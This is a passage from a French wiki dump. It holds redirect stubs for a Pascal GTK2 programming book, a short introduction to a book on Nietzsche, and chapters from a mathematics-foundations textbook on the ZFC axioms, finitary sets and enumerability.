j'ai donc ajouté <code>;D:\gtk2lib\bin</code>. Programmation GTK2 en Pascal Installation sous Windows 2677 14258 2005-02-24T08:26:39Z Didier 186 Programmation GTK2 en Pascal Installation sous Windows déplacé vers Programmation GTK2 en Pascal - Installation sous Windows #REDIRECT [[Programmation GTK2 en Pascal - Installation sous Windows]] Programmation GTK2 en Pascal Une application minimale 2678 14259 2005-02-24T08:27:28Z Didier 186 Programmation GTK2 en Pascal Une application minimale déplacé vers Programmation GTK2 en Pascal - Une application minimale #REDIRECT [[Programmation GTK2 en Pascal - Une application minimale]] Programmation GTK2 en Pascal La notion d'objet 2679 14260 2005-02-24T08:30:48Z Didier 186 Programmation GTK2 en Pascal La notion d'objet déplacé vers Programmation GTK2 en Pascal - La notion d'objet #REDIRECT [[Programmation GTK2 en Pascal - La notion d'objet]] Programmation GTK2 en Pascal Installation sous Linux 2680 14261 2005-02-24T08:31:58Z Didier 186 Programmation GTK2 en Pascal Installation sous Linux déplacé vers Programmation GTK2 en Pascal - Installation sous Linux #REDIRECT [[Programmation GTK2 en Pascal - Installation sous Linux]] Programmation GTK2 en Pascal Logiciels nécessaires 2681 14262 2005-02-24T08:31:26Z Didier 186 Programmation GTK2 en Pascal Logiciels nécessaires déplacé vers Programmation GTK2 en Pascal - Logiciels nécessaires #REDIRECT [[Programmation GTK2 en Pascal - Logiciels nécessaires]] Programmation GTK2 en Pascal Introduction 2682 14263 2005-02-24T08:32:32Z Didier 186 Programmation GTK2 en Pascal Introduction déplacé vers Programmation GTK2 en Pascal - Introduction #REDIRECT [[Programmation GTK2 en Pascal - Introduction]] Nietzsche - Introduction à sa philosophie 2683 14264 2005-02-26T23:23:54Z Marc 66 {{Nietzsche||[[Vie de Nietzsche]]}} Remarque : ce livre est un projet à long terme dont le but sera de présenter les différents aspects de la pensée de Nietzsche. Il est composé : *d'extraits réécrits d'un mémoire de maîtrise ; *de brouillons pour la rédaction d'un mémoire de D.E.A. ; *d'articles remaniés de la Wikipédia ; *de notes de lectures ; *de citations des œuvres de Nietzsche. <u>Certains chapitres ne seront donc dans l'immédiat que des ébauches qui seront complétées et remaniées au fur et à mesure.</u> Mais, outre la présentation de la pensée de Nietzsche, notre but sera d'en montrer la finalité, et comment, dèslors que l'on accepte les critiques de la métaphysique et de la morale, on est conduit nécessairement à cette fin. Fondements des mathématiques:Chapitre 5 2684 14265 2005-04-20T17:57:23Z Guillaumito 46 {{Fondements des mathématiques}} {{Fondements des mathématiques}} <font size = "+2"> <center> Les axiomes des théories des ensembles </center> </font> ---- Ce chapitre expose les axiomes des théories des ensembles. Plusieurs approches complémentaires sont présentées. ==L’axiome d’extensionalité== L’axiome d’extensionalité est coomun à toutes les théories des ensembles. Ce n’est pas un hasard. Si un être n’obéissait pas à cette loi, il ne pourrait pas être un ensemble. Elle peut être énoncée comme suit. '''Si deux ensembles ont les mêmes éléments alors ils sont égaux.''' Ou plus formellement. '''Pour tous x et y,''' '''si x et y sont des ensembles''' '''et si pour tout z, z est dans x équivaut à z est dans y''' '''alors x = y''' On peut en conclure qu’un ensemble est complètement déterminé par ses éléments. Dès que toutes les vérités atomiques d’appartenance à un ensemble sont définies, cet ensemble est complètement déterminé. ==L’approche de Zermelo, Fraenkel et Skolem== Pour exclure les paradoxes de la théorie de Cantor, il faut faire comme Frege et formuler la théorie d’une façon axiomatique. Mais il faut le faire d’une façon qui exclut les ensembles problématiques tels que ceux de Russell ou de Burali-Forti. Zermelo a proposé (1908) que tous les ensembles soient construits de façon progressive. Si l’on part de l’ensemble N des entiers positifs et si l’on adopte ensuite P(N) l’ensemble des sous-ensembles de N, P(P(N)) et ainsi de suite, on obtient des ensembles assez grands pour satisfaire tous les besoins ordinaires des mathématiciens, y compris pour les théories des nombres réels et des espaces de fonctions. Avec cette image d’un univers d’ensembles construits progressivement à partir des ensembles finis et d’ensembles infinis de base, comme celui des entiers, on peut développer une théorie axiomatique suffisante pour donner des preuves rigoureuses des grands théorèmes de Cantor, aussi rigoureuses que celles des théorèmes d’Euclide. Les axiomes proposés initialement par Zermelo ne sont pas tout à fait suffisants pour toutes les constructions utilisées dans les preuves de Cantor. Fraenkel et Skolem ont introduit un axiome supplémentaire, l’axiome de remplacement. On appelle ZFC (Zermelo, Fraenkel, axiome du choix) la théorie ainsi définie. Son formalisme dans le cadre du calcul des prédicats au premier ordre a été développé par Skolem. Elle suffit pour démontrer tous les théorèmes de Cantor et une très large partie des mathématiques contemporaines. Elle a été adoptée par l’équipe Bourbaki. ===La construction des ensembles finis=== La façon la plus naturelle d’introduire les ensembles consiste à supposer qu’on a des non-ensembles, qu’on peut appeler des atomes ou de toute autre façon, et qu’on peut les rassembler pour faire des ensembles. Pour faire tous les ensembles finis d’atomes, on a seulement besoin des deux règles suivantes. Si x est un atome alors Singleton de x est un ensemble Si x et y sont des ensembles alors x Union y est un ensemble Si on ajoute la règle Si x est un ensemble alors Singleton de x est un ensemble on peut construire tous les ensembles finis d’ensembles finis d’atomes, les ensembles finis d’ensembles finis d’ensembles finis et ainsi de suite. Habituellement on excut les atomes de la théorie ZFC. Cela permet de se passer du prédicat unaire “est un ensemble” parce qu’alors tous les êtres sont des ensembles. L’ensemble vide et les ensembles que l’on peut construire à partir de lui suffisent pour tous les besoins. On peut alors se donner les trois axiomes suivants. Axiome d’existence de l’ensemble vide '''Il existe un ensemble vide''' Autrement dit, '''Il existe un x tel que pour tout y, y n’est pas dans x''' Axiome du singleton Pour tout x, Singleton de x existe Autrement dit, Pour tout x, il existe un y tel que pour tout z, z est dans y équivaut à z = x Axiome de la réunion finie Pour tous x et y, x Union y existe Autrement dit, Pour tous x et y, il existe un z tel que pour tout w, w est dans z équivaut à (w est dans x ou w est dans y) Ces deux axiomes (singleton et réunion finie) peuvent être déduits d’autres axiomes qui seront introduits plus loin. ===L’axiome de l’infini=== ====Le nombre infini des ensembles finis==== Les axiomes précédents permettent de prouver l’existence de tous les ensembles finis, construits à partir des atomes ou du seul ensemble vide. Les ensembles finis sont en nombre infini, comme les nombres entiers et comme les suites finies de mots. Mais de l’existence d’un nombre infini d’ensembles finis il ne s’ensuit pas qu’il existe un ensemble infini, c’est à dire un ensemble qui contient plus qu’un nombre fini d’élements. L’existence d’un tel ensemble doit être postulée par un axiome supplémentaire qu’on appelle l’axiome de l’infini. On peut lui donner plusieurs formes, différentes quant à la taille de l’ensemble infini dont on postule l’existence. La théorie ZFC fait un choix minimaliste. L’axiome de l’infini dit qu’il existe un ensemble assez grand pour contenir des représentants de tous les nombres entiers, et c’est tout. Les autres axiomes, exposés plus loin, suffisent alors pour construire tous les autres ensembles infinis dont on a courament besoin. D’autres axiomes de l’infini, les axiomes des très grands ensembles, peuvent être introduits ultérieurement si on le souhaite. ====Les nombres entiers sont-ils des ensembles ou des expressions formelles ?==== La façon la plus naturelle d’introduire les nombres entiers est de les considérer comme des atomes, des non-ensembles, qui ont une existence indépendante de celle des ensembles. Mais ZFC permet de représenter tous les nombres entiers par des ensembles. Cette réprésentation est fondée sur les idées de Cantor à propos de la notion de nombre et de sa généralisation aux nombres infinis. Elle enrichit beaucoup les outils conceptuels du mathématicien parce qu’elle conduit à généraliser d’une façon naturelle des théorèmes énoncés initialement à propos des seuls ensembles finis. Elle est tellement intéressante qu’elle a parfois conduit certains mathématiciens, plus cantoriens que Cantor, à voir dans la théorie des ensembles la clé de tous les mystères sur l’essence des nombres, c’est à dire sur notre capacité à dire des vérités générales à leur sujet. Ce point de vue est très important à bien des égards mais il ne doit pas faire oublier qu’il y a d’autres approches possibles sur la nature des nombres entiers. Définir les nombres entiers comme des mots, des expressions formelles, a l‘inconvénient de manquer la généralisation aux nombres infinis mais présente d’autres avantages. La théorie des systèmes formels est en un sens plus fondamentale qu’une théorie générale des ensembles comme celle de Zermelo, parce qu’elle est plus élémentaire. Au point de vue de la fiabilité des principes, les théories élémentaires sont plus fondamentales que les autres. La question si ZFC est absurde ou non est une question qui se pose vraiment. Qu’elle soit en accord avec l’intuition ne suffit pas pour prouver sa cohérence. La théorie contradictoire de Frege était en accord avec l’intuition. Pour prouver que ZFC est cohérente on a besoin de la considérer comme un système formel, un ensemble de formules. La théorie des systèmes formels est donc une théorie des ensembles plus fondamentale que ZFC. ====La représentation des nombres entiers par des ensembles==== On pourrait représenter 0 par l’ensemble vide, 1 par Singleton de 0, 2 par Singleton de Singleton de 0, 3 par Singleton de Singleton de Singleton de 0 et ainsi de suite. D’autres définitions sont possibles. La suivante est la plus avantageuse. 0 est représenté par l’ensemble vide 1 est représenté par Singleton de 0, c’est à dire Singleton de l’ensemble vide, l’ensemble qui contient un seul élément, 0 2 est représenté par (Singleton de 1) Union 1, c’est à dire l’ensemble qui contient deux éléments, 0 et 1 3 est représenté par (Singleton de 2) Union 2, c’est à dire l’ensemble qui contient trois éléments, 0, 1 et 2 De façon générale, n+1 est représenté par (Singleton de n) Union n et contient n+1 éléments, 0, 1, 2, ..., n De cette façon tout nombre entier n est représenté par un ensemble qui contient exactement n éléments. La théorie générale des ordinaux, exposée plus loin, montre que cette représentation est très utile pour prouver commodément les théorèmes de Cantor. ====L’existence de l’ensemble N des entiers positifs==== Sous sa forme la plus élémentaire, l’axiome de l’infini dit qu’'''il existe un ensemble qui contient tous les nombres entiers positifs'''. Autrement dit. '''Il existe un x tel que (0 est dans x et pour tout y si y est dans x alors (Singleton de y) Union y est dans x)''' Les autres axiomes qui vont être exposés permettent alors de prouver qu’il existe un ensemble qui contient tous les entiers positifs et seulement eux, c’est à dire l’ensemble N des nombres naturels. ===L’axiome de la somme=== L’axiome de l’existence de la réunion de deux ensembles suffit pour construire la réunion d’un nombre fini d’ensembles. Mais il ne suffit pas pour construire la réunion d’un ensemble infini d’ensembles. Pour cela un axiome supplémentaire est nécessaire, l’axiome de la somme, qu’on peut aussi appeler ‘axiome de la réunion infinie. '''Pour tout ensemble d’ensembles, leur réunion est un ensemble qui existe.''' Autrement dit. '''Pour tout x, il existe un y tel que pour tout z, (z est dans y équivaut à il existe un w tel que (w est dans x et z est dans w))''' L’ensemble y est la réunion des éléments de x. On l’appelle aussi l’ensemble-somme de x, ou la somme de x, quand il n’y a pas d’ambiguïté. On peut déduire l’axiome de la réunion de deux ensembles à partir de l’axiome de la somme si on introduit l’axiome de la paire. La paire de x et y est l’ensemble qui contient xet y comme seuls éléments. L’axiome de la paire est le suivant. '''Pour tous x et y, la paire de x et y existe''' Autrement dit. '''Pour tout x et tout y, il existe un z tel que pour tout w, w est dans z équivaut à (w = x ou w = y)''' L’axiome du singleton est une conséquence de l’axiome de la paire parce que Singleton de x égale Paire de x et x. ===L’axiome de l’ensemble des sous-ensembles=== Cet axiome permet de construire des grands ensembles infinis à partir de ce petit ensemble infini qu’est N. Ces nouveaux ensembles infinis sont tellement grands qu’ils sont indicibles. Nulle théorie ne peut nommer tous leurs éléments. Ils seront appelés aussi infinitaires, par contraste avec des ensembles infinis plus élémentaires, tels que N et les systèmes formels, qui seront dits finitaires. '''Pour tout ensemble, l’ensemble de tous ses sous-ensembles existe.''' Autrement dit. '''Pour tout x, il existe un y tel que pour tout z, (z est dans y équivaut à pour tout w, (si w est dans z alors w est dans x))''' Ou plus brièvement. Pour tout x, il existe un y tel que pour tout z, (z est dans y équivaut à z est inclus dans x) y est aussi appelé l’ensemble P(x) des parties de x, ou l’ensemble-puissance de x, ou 2 puissance x, pour des raisons qui seront exposées plus loin. Avec cet axiome, on peut construire N, P(N), P(P(N)) et ainsi de suite, en répétant cette opération un nombre fini de fois. ===L’axiome de séparation de Zermelo=== La plupart des ensembles sont définis comme des extensions conceptuelles, c’est à dire qu’ils sont définis comme des ensembles qui contiennent tous les êtres pour lesquels un prédicat est vrai. Comme l’axiome de Frege, tout concept a une extension, est contradictoire, et comme les axiomes précédents suffisent pour faire des ensembles infinis assez grands, Zermelo a réintroduit l’axiome de Frege sous une forme affaiblie, en limitant les extensions conceptuelles à des sous-ensembles d’ensembles déjà définis. Son axiome de séparation peut être énoncé plus précisément comme suit. Pour tout ensemble x et tout concept, il existe un sous-ensemble de x qui contient tous les éléments de x pour lesquels ce concept est vrai et seulement eux. Plus formellement, l’axiome de séparation est défini par un schéma d’axiomes, qui détermine des axiomes en nombre infini, qui sont tous des formes particulières de l’axiome de séparation. Le schéma des axiomes de séparation Pour tout prédicat P(x0, x1, ..., xn) qui contient n+1 variables libres et qui est défini à partir des seuls prédicats fondamentaux “être dans“ et “égale” et des opérateurs de la logique du premier ordre, la formule suivante est un axiome; Pour tous x, x1, ..., xn, il existe un y tel que pour tout z, z est dans y équivaut à (z est dans x et P(z, x1, ..., xn)) ===La construction des extensions relationnelles=== Il semble que les axiomes de séparation, tels qu’ils viennent d’être énoncés, ne permettent de définir que les extensions des prédicats unaires et qu’ils nous laissent dépourvus pour les extensions des concepts relationnels. Une astuce formelle montre cependant que tel n’est pas le cas. L’extension d’un concept relationnel, binaire xRy pour fixer les idées, peut être définie comme l’ensemble des couples (x, y) qui satisfont à la relation R. La notion de couple n’a pas été introduite mais on peut la définir de plusieurs façons à partir des construction précédentes. Par exemple, on peut définir le couple de x et y par l’ensemble Paire de Singleton de x et Paire de x et y. Définir Couple de x et y par Paire de x et y ne convient pas parce qu’on veut que Couple de x et y soit différent de Couple de y et x, quand x et y sont différents, pour des raisons formelles. En revanche Paire de Singleton de x et Paire de x e y convient très bien. L’extension de la relation binaire R limitée à un ensemble x est alors définie par l’ensemble y tel que pour tout z, z est dans y équivaut à il existe v et w tels que (z = (Couple de v et w) et z est dans x et vRw) L’existence de y est garantie par un axiome de séparation de Zermelo. La même construction peut être faite pour toutes les relations, ternaires et plus. On peut définir Triplet de x, y et z par Couple de x et Couple de y et z, par exemple. ===L’axiome de remplacement de Fraenkel=== Fraenkel et Skolem se sont rendus compte que les axiomes de séparation de Zermelo ne suffisaient pas pour démontrer certains théorèmes de Cantor, mais que pour cela il suffit d’échanger le schéma d’axiomes de Zermelo contre un autre, un peu différent, qui formalise l’idée de la construction d’un ensemble par des remplacements simultanés de tous les éléments d’un ensemble déjà construit. Plus précisément, on suppose que si R est une relation binaire fonctionnelle alors pour tout ensemble x il existe un ensemble y tel que pour tout z, z est dans y équivaut à (il existe un w tel que w est dans x et wRz). y est l’ensemble-image, ou l’image, de x par la relation R. On peut alors formuler l'axiome de remplacement sous la forme suivante. '''Si R est une relation fonctionnelle alors pour tout x, l'ensemble-image de x par R existe.''' R est une relation fonctionnelle veut dire ici qu’elle associe au plus un élément z à tout élément w, autrement dit, pour tout w il existe au plus un z tel que wRz, autrement dit encore, pour tous w, z et z’, si (wRz et wRz’) alors z = z’. L’axiome de remplacement est formulé par un schéma d’axiomes. Pour tout prédicat P(w, z, x1, ..., xn) avec n+2 variables libres (et construit avec “être dans “, “=” et la logique du premier ordre) la formule suivante est un axiome. '''Pour tous x1, ..., xn ,''' '''si pour tout w, z et z’, (si (P(w, z, x1, ..., xn) et P(w, z’, x1, ..., xn) alors z = z’)''' '''alors pour tout x, il existe un y tel que pour tout z, (z est dans y équivaut à (il existe un w tel que (w est dans x et P(w, z, x1, ..., xn))''' L’axiome de séparation de Zermelo peut être déduit de l’axiome de remplacement. Pour tout prédicat P(x, x1, ..., xn) il suffit de considérer la relation (P(x, x1, ..., xn) et x = y). L’axiome de remplacement respecte la logique de construction progressive adoptée par Zermelo. Il ne permet pas de construire les grands ensembles contradictoires comme celui de Russell parce qu’un ensemble défini par remplacement n’est jamais plus grand que l’ensemble à partir duquel il est défini. L’axiome de remplacement peut être formulé d’une façon apparemment plus restrictive, mais en fait équivalente, en imposant à une relation fonctionnelle de toujours associer un élément et un seul (et non au plus un) à tout élément de l’ensemble de départ. ===L’axiome du choix=== ==Une reformulation de ZFC, la théorie des classes de Von Neumann, Gödel et Bernays== ==La théorie des types de Whitehead et Russell== ==La théorie du zig-zag interdit de Quine== ==Le problème des définitions non-prédicatives== ==Les ensembles finitaires== Les ensembles finitaires sont définis avec des moyens élémentaires mais ils sont souvent infinis. Les mathématiques finitaires consistent à mettre en pratique un principe de progression ontologique, commencer par ce qui est simple, évident, élémentaire, pour poursuivre sur des bases solides. [[Fondements des mathématiques : Les ensembles finitaires|Texte de cette section]] ===L’esprit des mathématiques finitaires : commencer par ce qui est simple et évident=== ===Qu’est-ce qu’un ensemble finitaire ?=== ===L’énumérabilité selon Smullyan=== ===Les vérités atomiques sur les ensembles énumérables=== ===Formules initiales et règles de production pour les vérités atomiques d’appartenance aux ensembles énumérables=== ===Les théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité=== ===Les négations des faussetés atomiques et le principe d’induction complète=== ====Quelques négations de faussetés atomiques de base==== ====Le schéma d’axiomes du principe d’induction complète==== ===La négation dans les prédicats finitaires=== ===Les axiomes d’une théorie élémentaire des ensembles finitaires=== ====L’ontologie de Finitaire1==== ====Les axiomes de Finitaire1==== L’axiome d’extensionalité Les axiomes d’existence des ensembles Le principe d’induction complète ====Autres formulations des axiomes de Finitaire1==== ===L’incomplétude des théories finitaires=== ===L’élargissement ontologique=== ==Les ensembles infinitaires== ===Le paradoxe de Skolem=== ===Les énoncés indéfinis et l’élargissement ontologique=== ===La théorie générale des ordinaux=== ===La classe des ensembles constructibles=== ===L’hypothèse du continu=== ===Les très grands ensembles=== ==L’axiome de fondation, la circularité et les hyperensembles== Fondements des mathématiques : Les ensembles finitaires 2685 14266 2005-03-01T05:19:02Z Thierry Dugnolle 206 /* L’axiome d’extensionalité */ Les ensembles finitaires sont définis avec des moyens élémentaires mais ils sont souvent infinis. Les mathématiques finitaires consistent à mettre en pratique un principe de progression ontologique, commencer par ce qui est simple, évident, élémentaire, pour poursuivre sur des bases solides. ==L’esprit des mathématiques finitaires : commencer par ce qui est simple et évident== L’ensemble des nombres entiers est le plus illustre de tous les ensembles finitaires. Il est à raison considéré comme la base de toute ontologie mathématique. Pour donner une idée de l’importance des nombres entiers, on peut rappeler ces propos, de Kronecker, que Dieu a créé les nombres entiers et qu’à partir de là les mathématiciens ont créé tout le reste de l’univers mathématique. Les vérités sur les nombres entiers sont évidentes. Tous les axiomes sont vrais par définition au sens où l’on sait qu’ils sont vrais dès qu’on a compris ce que c’est qu’un nombre entier. Les méthodes de calcul élémentaire de calcul sur les nombres entiers sont complètement connues. On connait suffisamment de règles pour savoir si une équation, n’importe laquelle, entre combinaisons élémentaires (addition, multiplication, exponentiation et beaucoup d’autres) de nombres entiers, est vraie ou fausse. Les calculs ont toujours une fin. Les vérités atomiques forment un ensemble décidable. Cette complétude des règles de calcul numérique est un cas particulier d’un phénomène très remarquable. Il suffit d’un nombre fini de règles pour connaître des vérités en nombre infini. Les simples mortels, les esprits finis que nous sommes, connaissent l’infini. C’est pourquoi les mathématiques finitaires sont essentiellement à propos des ensembles infinis. Les vérités atomiques sur les nombres entiers positifs peuvent toutes être produites à partir d’une unique formule, 0 = 0, et un nombre réduit, une douzaine, de règles de production de vérités. On peut ainsi voir 0 = 0 comme la source de toutes les vérités arithmétiques et les règles de calcul comme les premières indications de chemins que l’on peut suivre à partir de là. La théorie des nombres entiers peut être considérée comme une source des vérités mais par certains aspects on peut la trouve trop réduite pour la choisir comme base. On voudrait plutôt une théorie des ensembles qui permette de définir davantage d’ensembles bien définis, au sens suivant. Tous leurs éléments d’un ensemble bien défini sont nommés et toutes les questions sur les vérités atomiques, c’est à dire les appartenances d’un élément à un ensemble et les égalités entre éléments, sont définies sans équivoque. On ne sait pas forcément comment trouver la réponse à la question mais on sait que la question est sensée. Le théorème de l’incomplétude ontologique interdit d’espérer une théorie complète mais on peut quand même vouloir une théorie de la plupart des ensembles bien définis par des méthodes élémentaires. La production des vérités arithmétiques à partir d’une formule initiale avec un nombre fini de règles est un cas particulier d’une méthode générale. On dira qu’un ensemble de vérités atomiques est énumérable s’il peut être produit à partir d’un nombre fini de formules initiales avec un nombre fini de règles de production. Cette définition de l’énumérabilité est équivalente à celle de Turing. Nous présenterons une approche formelle qui le montrera plus précisément et qui prouvera les théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité. L’ensemble de toutes les vérités atomiques d’appartenance à tous les ensembles énumérables est énumérable. Il suffit d’un nombre fini de formules initiales et de règles pour produire toutes ces vérités. Ces formules et ces règles seront données dans la section suivante. L’ensemble de tous les ensembles énumérables peut être choisi comme base de la théorie des ensembles finitaires, au même sens où les nombres entiers ont été choisis comme base des mathématiques classiques. L’avantage de ce choix est qu’il permet d’énoncer des règles de production de vérités et des principes élémentaires de raisonnement avec beaucoup de généralité. Il suffit d’adapter les méthodes, classiques et éprouvées, de calcul sur les nombres entiers au calcul sur les ensembles énumérables. On obtient une théorie aussi fiable que la théorie des nombres entiers, c’est à dire absolument fiable. Le principe de Saint Thomas, je crois ce que je vois, peut être appliqué aux ensembles de base que sont les ensembles énumérables. Comme les éléments de ces ensembles sont toujours des formules on peut les montrer. Dire la vérité sur une formule n’est alors pas très difficile. La formule aba commence par la lettre a, elle contient b mais pas c, elle est symétrique, ... Ces évidences semblent peut être peu intéressantes mais elles méritent cependant un peu d’attention parce qu’elles suffisent comme source de beaucoup de vérités mathématiques. A partir de vérités aussi simples et évidentes que les précédentes on peut déduire des théorèmes très remarquables, pas du tout évidents, et qui nous apprennent beaucoup sur la nature de la raison. Même lorsque les règles sont très élémentaires, les ensembles finitaires peuvent être très compliqués et les vérités à leur sujet ne sont parfois pas du tout évidentes, même si elles sont atomiques. On sait qu’elles sont des vérités parce que les axiomes sont vrais. Mais comment sait-on que les axiomes sont vrais ? Comment le prouve-t-on ? La théorie des modèles de la vérité mathématique ne répond pas complètement à ces questions. On ne veut pas seulement une théorie T des ensembles qui soit cohérente, parce que cela veut seulement dire que T dit la vérité sur un univers possible, sur des objets concevables. On veut que T dise la vérité sur des ensembles et pas sur n’importe quels objets. Comment connait-on des vérités sur les ensembles ? La vérité sur un ensemble résulte de sa définition. Si E est l’ensemble qui contient aba comme unique élément alors aba est dans E mais abc n’est pas dans E,... Nous verrons que de telles évidences suffisent pour trouver presque tous les axiomes des théories des ensembles finitaires. Un nombre relativement petit d’axiomes évidents permet de prouver toutes les évidences intuitives, et à partir d’elles on peut prouver presque toutes les vérités mathématiques .Cela montre que la raison est capable de se connaître elle-même, au moins en partie, et qu’il n’est même pas très difficile de la dire puisqu’il suffit d’énoncer des évidences. Celles-ci sont simples, claires et acceptables pour tout être rationnel. ==Qu’est-ce qu’un ensemble finitaire ?== Le principe des principes des mathématiques finitaires, c’est de s’en tenir à des ensembles bien définis, c’est à dire qu’ils peuvent être déterminés complètement à l’intérieur d’une théorie. Les ensembles finitaires sont d’abord des systèmes, ou ensembles, formels, c’est à dire des ensembles de formules, et ensuite d’autres ensembles que l’on peut construire progressivement en partant des systèmes formels. Ils peuvent être des ensembles d’ensembles formels, des ensembles d’ensembles d’ensembles formels, ... Un ensemble est finitaire s’il peut être défini en un nombre fini d’étapes finitaires à partir des objets de base de la théorie. Une étape est finitaire si elle respecte une règle finitaire. Une définition du concept “finitaire” requiert donc une liste des règles finitaires. On exige de ces règles qu’elles ne permettent de construire que des ensembles bien définis. Définir ou construire un ensemble c’est la même chose. Comme les prédicats, auxquels ils sont étroitement apparentés, un ensemble est construit par sa définition. A partir de deux ensembles E et F, construire E Union F, E Inter F et E moins F, sont trois règles finitaires. Ces règles sont très nombreuses. Chacun peut faire usage de son imagination pour inventer des règles finitaires. La liste des règles finitaires ne peut jamais être complète, pour les raisons suivantes. La règle d’après laquelle on peut construire à partir d’une liste L bien définie de règles finitaires et d’un ensemble E0 d’objets de base, l’ensemble U de tous les ensembles constructibles en un nombre fini d’étapes à partir des éléments de E0 et des règles de L, est une règle finitaire. Si L était la liste de toutes les règles finitaires, U serait l’ensemble de tous les ensembles finitaires et il serait lui-même finitaire. Il serait donc élément de lui-même. La règle d’après laquelle à partir de tout prédicat finitaire, on peut construire son extension conceptuelle, est aussi une règle finitaire, sachant qu’un prédicat est finitaire lorsque toutes ses variables, libres ou liées, sont restreintes à des ensembles finitaires déjà construits. On pourrait alors définir à partir de U l’ensemble BR de tous les ensembles finitaires qui ne sont pas éléments d’eux-mêmes. BR serait finitaire, il serait et ne serait pas élément de lui-même. Cette contradiction oblige à renoncer à l’hypothèse de l’existence d’une liste de toutes les règles finitaires. Une liste des règles finitaires est donc nécessairement incomplète même si elle est très élargie. L’ensemble de tous les ensembles finitaires s’il existe, est indicible. ==L’énumérabilité selon Smullyan== Le chapitre précédent a rappelé l’équivalence entre l’existence d’une machine universelle et l’énumérabilité de toutes les vérités atomiques d’appartenance aux ensembles énumérables. Cette section expose une autre définition de l’énumérabilité, issue des travaux de Post et Smullyan, qui repose sur la notion de règle de production. [[Fondements des mathématiques : l'énumérabilité selon Smullyan|Texte de cette section]] ==Les vérités atomiques sur les ensembles énumérables== Les vérités atomiques sur les ensembles énumérables sont les vérités d’appartenance d’un élément à un ensemble énuméralbles et les égalités entre ensembles énumérables. Les secondes peuvent être définies à partir des premières avec l’axiome d’extensionalité et elles sont beaucoup moins élémentaires. On peut prouver qu’elles ne forment pas un ensemble énumérable Nous allons définir une théorie Enum qui contient toutes les vérités atomiques d'appartenance aux ensembles énumérables. Enum va être définie par des formules initiales, que l’on peut considérer comme des axiomes, et des règles de production, que l’on peut aussi considérer comme des axiomes, ou comme des règles de déduction. Comme c’est l’usage dans ce livre, la théorie formelle est développée dans un langage semi-naturel. Les mots de la langue courante peuvent être considérés comme des symboles formels et on peut leur appliquer les règles de grammaire du calcul des prédicats. Il est de toutes façons très facile de traduire les énoncés semi-naturels ainsi obtenus en énoncés purement formels. Cette méthode du langage semi-naturel présente un grand avantage dans le cas présent, parce que Enum est défini avec un grand nombre d’opérateurs et de prédicats fondamentaux. Pour faire une théorie purement formelle, il faudrait un glossaire assez volumineux pour donner aux symboles formels leur signification dans une langue naturelle. Les prédicats fondamentaux de la théorie des ensembles sont “est élement de”, ou “est dans” et “=”. Mais on introduit dans Enum d’autres prédicats fondamentaux pour les constructions auxiliaires, les fonctions et les prédicats, principalement. Les logiciens sont en général des minimalistes. On ne veut pas plus de principes qu’il n’est nécessaire. On veut un nombre minimal d’objets de base, d’opérateurs et de prédicats fondamentaux, d’axiomes et de règles de déduction. Un petit nombre est en général considéré comme suffisant. Enum est défini avec une douzaine d’opérateurs (14), deux douzaines de prédicats (25) et plus d’une centaine de règles (122). Mais je suis aussi un minimaliste. Un petit nombre de notions fondamentales veut souvent dire un gros travail d’interprétation des principes. Les livres les plus courts ne sont pas toujours les plus faciles à lire, parce que tout ce qui n’est pas dans le livre est laissé en exercice pour le lecteur. On pourrait définir Enum avec moins d’opérateurs, de prédicats et de règles, mais ses principes seraient alors plus difficiles à comprendre et exigeraient davantage de travail d’interprétation. Lorsque les logiciens définissent toutes les notions à partir d’un petit nombre d’entre elles, ils se servent en général de techniques qui font disparaître l’énumérabilité des vérités atomiques. L’introduction de la négation et de la généralisation dans les expressions définissantes pose ce genre de problème. Enum ne se sert pas de ces opérateurs justement pour que l’énumérabilité de ses formules atomiques vraies soit manifeste. Nous verrons plus loin comment développer une théorie élémentaire des ensembles finitaires, Finitaire1, en introduisant la négation et du même coup, la généralisation. En tant que théorie Enum est évidemment cohérente. Puisqu’elle ne contient pas de négations, elle ne peut pas contenir de contradictions. Puisqu’elle est un ensemble de formules atomiques, on peut la considérer comme un modèle d’elle-même. Mais cela ne suffit pas pour prouver que Enum est vraie en tant que théorie des ensembles. Si ses formules initiales ou ses règles étaient mal choisies, elle ne cesserait pas d’être cohérente, mais ses formules ne pourraient plus être interprétées comme des vérités sur les ensembles. Comment être sûr que ses formules initiales et ses règles ont été bien choisies ? Comment le prouver ? Tous les objets, les opérateurs et les prédicats de Enum ont une signification universelle, c’est à dire compréhensible par tout être rationnel. Compréhensible ne veut pas dire ici immédiatement compréhensible mais seulement qu’un peu de travail suffit pour se familiariser avec ces notions et reconnaître que leurs significations ne sont pas équivoques. Dès qu’on a compris ces notions, la vérité des formules initiales de Enum est évidente. Il en va de même pour la vérité des règles de production. Il suffit de s’assurer que dans tous les cas, si les prémisses sont vraies, la conclusion l’est aussi. Cela suffit pour prouver que Enum est valide, qu’elle ne contient que des vérités. La section suivante prouvera qu’il y a un sens à dire qu’elle est complète, qu’elle contient toutes les règles, en nombre fini, dont on a besoin pour dire des vérités sur les ensembles infinis. Enum peut être considérée comme une théorie des nombres généralisée. Les méthodes habituellement employées pour définir des ensembles de nombres sont utilisées dans Enum pour définir des ensembles d’expressions formelles. L’existence de Enum peut être considérée comme une des preuves que la raison est au moins partiellement connaissable. On sait dire des lois qui permettent de produire des vérités rationnelles de base. La plupart des axiomes des théories des ensembles sont traduits dans Enum par quelques règles de production. Les axiomes de la somme, de l’infini, de compréhension et de remplacement en font partie. Certaines règles de production de Enum sont donc des versions élémentaires des axiomes ensemblistes. La cohérence et la vérité de Enum prouvent qu’il est possible de donner une formalisation fiable de la théorie des ensembles. Mais Enum est trop élémentaire pour aller loin en mathématiques. ==Formules initiales et règles de production pour les vérités atomiques d’appartenance aux ensembles énumérables== Cette section définit une théorie complète des ensembles énumérables, au sens où elle contient toutes les vérités atomiques d’appartenance à tous les ensembles énumérables. La preuve de sa complétude est donnée dans la section suivante. [[Fondements des mathématiques:Formules initiales et règles de production pour les vérités atomiques d’appartenance aux ensembles énumérables|Texte de cette section]] ==Les théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité== Le premier de ces théorèmes montre en quel sens l’ensemble de tous les ensembles énumérables est complètement connu. On pourrait l’appeler le théorème de complétude de l’énumérabilité. Il est équivalent à la preuve d’existence d’une machine universelle, donnée par Turing en 1936, qui est à l’origine de l’invention des ordinateurs. Le second de ces théorèmes montre en quel sens l’ensemble des ensembles énumérables ne peut pas être complètement connu. On pourrait l’appeler le théorème d’incomplétude de 